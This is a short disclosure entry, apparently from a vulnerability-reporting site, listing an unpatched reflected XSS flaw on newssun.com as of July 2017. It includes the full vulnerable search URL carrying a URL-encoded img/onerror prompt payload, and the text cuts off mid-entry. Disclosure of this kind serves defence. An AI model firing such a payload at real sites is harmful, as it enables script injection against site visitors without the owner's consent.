newssun.com XSS vulnerability

Vulnerable URL: http://www.newssun.com/csp/mediapool/sites/SunNews/SearchResults/index.csp?p=CS=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E=++Search++ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 25.07.2017 Vulnerability type:| XSS Vulnerability...